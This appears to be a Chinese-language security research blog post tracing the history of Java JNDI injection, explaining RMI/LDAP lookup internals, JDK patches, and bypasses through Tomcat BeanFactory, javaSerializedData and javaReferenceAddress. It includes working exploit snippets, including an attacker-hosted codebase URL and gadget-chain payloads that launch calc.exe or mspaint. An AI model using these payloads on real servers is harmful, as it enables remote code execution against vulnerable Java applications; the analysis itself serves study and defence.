当我们谈论JNDI注入时,我们在谈论什么

JNDI注入的利用根据JDK更新历史可以分为两个阶段,第一阶段是在JDK8u191之前,攻击者可以利用自搭建的RMI/LDAP恶意服务器,让客户端去获取并加载我们放置的恶意类,该阶段的利用手法不受classpath是否拥有Gadget的限制。第二阶段是在JDK8u191之后,JDK增加了trustURLCodebase配置导致这种加载恶意类的方式失效,进而找出了 javaSerializedData、javaReferenceAddress放置Gadget、ObjectFactory#getObjectInstance触发敏感方法的方式,这种方式虽然不受JDK版本的限制,但是受限于目标的classpath是否拥有可利用的Gadget。而寻找通用性更强、使用范围更广的Gadget链还值得深入研究。

JNDI注入实际上就是控制lookup()的参数,使客户端去访问恶意的RMI/LDAP服务去加载恶意对象,从而完成代码执行漏洞利用。按照利用手法可以分为:Reference#codebase的利用、本地ClassPath的Gadget利用、本地ClassPath的ObjectFactory+Gadget的利用。

环境相关:

本次测试使用版本:JDK8u112、JDK8u121、JDK8u144、JDK8u191、JDK8u341

JDK版本下载:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

1、JNDI with RMI

1.1 RMI Reference#codebase 的远程利用

在使用lookup查找获取远程服务器上绑定的对象时,若指定的远程地址为rmi,则会进入com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)流程,如果拿到的是Reference对象,那么会进入到加载Factory的代码逻辑,调用栈及原理如下

1
2
3
4
com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)
com.sun.jndi.rmi.registry.RegistryContext#decodeObject
javax.naming.spi.NamingManager#getObjectInstance
javax.naming.spi.NamingManager#getObjectFactoryFromReference

如果在本地classpath中找不到我们指定的factory类(1),那么就会去远程codebase(2)去下载class字节码(3)回来并实例化(4)。 图为JDK8u112的代码

若JDK8u112版本中,我们指定codebase为http地址,放置我们构造的恶意类,lookup发起请求即可执行Evil类静态代码块中的代码

1
Reference reference = new Reference("test","Evil","http://192.168.232.145:8888/");

修复:com.sun.jndi.rmi.registry.RegistryContext#decodeObject在JDK 8u121时增加了trustURLCodebase=false的配置,这样就造成:如果想通过下图标签1的判断而不报错退出,只能让codebase(var8.getFactoryClassLocation())为空,这样factory只能为本地类,无法去外部加载恶意类了

2、Tomcat BeanFactory#getObjectInstance的本地利用

我们看下如何去绕过修复补丁,在恶意服务器创建Reference对象时,可以指定classFactoryLocation为空,这样就会过掉上图标签1的判断

接着继续调用到javax.naming.spi.NamingManager#getObjectInstance,在该方法中完成三步:classFactory类名获取(1)、classFactory的实例化(2)、调用getObjectInstance方法(3)。在上一章节触发代码执行的是2中classFactory的实例化,现在由于补丁的限制导致classFactoryLocation为空,所以classFactory只能指定为本地ClassPath中存在的类,系统在实例化后会调用classFactory#getObjectInstance方法,即下图的标签3

那么现在想要继续完成漏洞利用,需要在本地ClassPath中找到一个类,其实现了javax.naming.spi.ObjectFactory接口、且静态代码块/getObjectInstance方法存在敏感操作。 Veracode找到了Tomcat中的org.apache.naming.factory.BeanFactory,Tomcat的使用相当广泛,所以这个链的实战价值还是很高的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//pom.xml
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.20</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.20</version>
</dependency>

pom.xml添加引入Tomcat后,我们分析下这条链:org.apache.naming.factory.BeanFactory#getObjectInstance方法中会对传入的className进行实例化、使用JDK的内省机制java.beans.Introspector#getBeanInfo 获取属性(存在getter/setter方法的属性才会被识别),但同时该方法也提供了”别名机制“:基于传入的forceString字符串,根据=分割拿到要执行的”setter别名方法”及String类型的参数值,最后调用反射执行。这样Gadget的source点就从”ObjectFactory接口实现类的getObjectInstance方法”变成了”本地任意类包含String类型参数的方法”

而Tomcat8自带的javax.el.ELProcessor#eval(String)满足该条件,可执行传入的java代码进行利用。

构造格式如下:

1
2
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "evil code"));

分割得到eval方法、String参数,添加至forced map中

最终从forced拿出方法,利用反射执行javax.el.ELProcessor#eval(“evil code”)

至此,绕过了JDK8u121的修复

3、JNDI with Ldap

3.1、Ldap javaSerializedData的本地利用

上面讲到了利用恶意RMI服务器进行漏洞利用,在JDK中还有ldap可以使用。当lookup请求地址的协议为ldap时,会走到com.sun.jndi.ldap.LdapCtx#c_lookup进行处理解析。从整体的代码结构看,涉及EXP构造的代码部分有4处:1获取ldap请求的结果、2解析结果拿到attribute属性值、3根据attribute的属性组装Reference类、4加载远程的恶意class并实例化造成代码执行。其中第4步与上章节中的JNDI_RMI解析调用流程一致,但是JDK8u121是在RegistryContext#decodeObject层做的trustURLCodebase修复限制,与ldap使用codebase加载factory类的流程无关联。所以JNDI_RMI的修复方案并不影响JNDI_LDAP的利用

如果存在javaClassName属性,则进入到com.sun.jndi.ldap.Obj#decodeObject组装Reference的流程。代码比较清晰,也是EXP构造比较重要的一步,逐个分析下:标签1 如果存在javaSerializedData属性值,进入deserializeObject反序列化操作。从属性名字能看出来是java的序列化数据,且在反序列化过程中未做过滤。所以我们可以把恶意对象绑定在javaSerializedData属性上,这是JNDI-LDAP的第一个利用点

com.sun.jndi.ldap.Obj#deserializeObject

3.2、Ldap javaReferenceAddress的本地利用

接着回到decodeObject往下走:标签2 如果存在javaRemoteLocation属性值,就进入decodeRmiObject操作:根据javaClassName、javaRemoteLocation、javaCodeBase等属性值组装Reference对象并返回

接着回到decodeObject往下走:进入标签3 如果存在objectClass属性且其包括javaNamingReference,则进入com.sun.jndi.ldap.Obj#decodeReference组装Reference的操作

当存在javaClassName属性时,最终返回对象Reference(javaClassName, javaFactory, javacodebase[0])。如果存在javaReferenceAddress值,进入组装RefAddr对象的流程,可以看到如果构造的数据满足条件,与javaSerializedData属性的解析过程一样,进入deserializeObject反序列化流程,这是JNDI-LDAP的第二个利用点

3.3、Ldap Reference#codebase的远程利用

拿到了Reference对象,接着回到com.sun.jndi.ldap.LdapCtx#c_lookup的解析流程,执行第4步的getObjectInstance方法,该方法与JNDI_RMI解析过程的javax.naming.spi.NamingManager#getObjectInstance一致,都是获取codebase加载远程factory类并实例化。这是JNDI-LDAP的第三个利用点

修复:com.sun.naming.internal.VersionHelper12#loadClass(java.lang.String, java.lang.String)加载外部factory时,在JDK 8u191时增加了com.sun.jndi.ldap.object.trustURLCodebase=false的配置,造成loadClass()直接返回null,无法通过codebase去加载构造的外部恶意类。但是上面提到的第一种javaSerializedData、第二种RefAddr方式仍然可以使用

基本的解析流程都分析完了,本地测试时可以起个ldap服务构造EXP,搭建ldap服务可使用ldapsdk包。可以maven加载也可以单独引入:https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1

1
2
3
4
5
6
7
//pom.xml
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
<scope>test</scope>
</dependency>

ldap服务代码可参考https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

4、版本相关问题

JDK8系列最新版本(8u341)测试,未对JNDI_LDAP的第一种javaSerializedData、第二种javaReferenceAddress、Tomcat BeanFactory#getObjectInstance的利用方式进行限制。如果目标ClassPath存在Gadget,还是可以继续利用的。我们分别来看下:

1、JNDI_LDAP的第一种javaSerializedData利用方式,只需要把恶意类设置为javaSerializedData的属性值即可

1
2
3
//恶意服务端设置两个属性javaClassName、javaSerializedData
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", Serializer.serialize(new CommonsBeanutils1().getObject("mspaint")));

2、JNDI_LDAP的第二种javaReferenceAddress利用方式,对于RefAddr对象的数据构造可参考com.sun.jndi.ldap.Obj#decodeReference

1
2
3
4
1、将javaReferenceAddress属性值的首字符做为分割符,我这里使用!符号
2、第一跟第二个分隔符中为RefAddr position,int类型数据,使用1
3、第二跟第三个分隔符中为RefAddr type,String类型数据,使用a
4、第三个与第四个分隔符在一起,后面是经过base64编码的序列化数据,使用cb链演示

恶意服务端设置三个属性objectClass、javaClassName、javaReferenceAddress

1
2
3
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","!1!a!!"+new BASE64Encoder().encode(Serializer.serialize(new CommonsBeanutils1().getObject("mspaint"))));

成功在JDK8系列最新版本完成利用

3、Tomcat BeanFactory#getObjectInstance的本地利用方式,可以看到在JDK8系列的最新版本8u341利用成功

1
2
3
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,null,null,false,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString","x=eval"));
resourceRef.add(new StringRefAddr("x","\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()\")"));

5、参考

https://mp.weixin.qq.com/s/Dq1CPbUDLKH2IN0NA_nBDA

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://evilpan.com/2021/12/13/jndi-injection/


当我们谈论JNDI注入时,我们在谈论什么
https://pwnull.github.io/2022/jndi-injection-history/
作者
pwnull
发布于
2022年11月5日
许可协议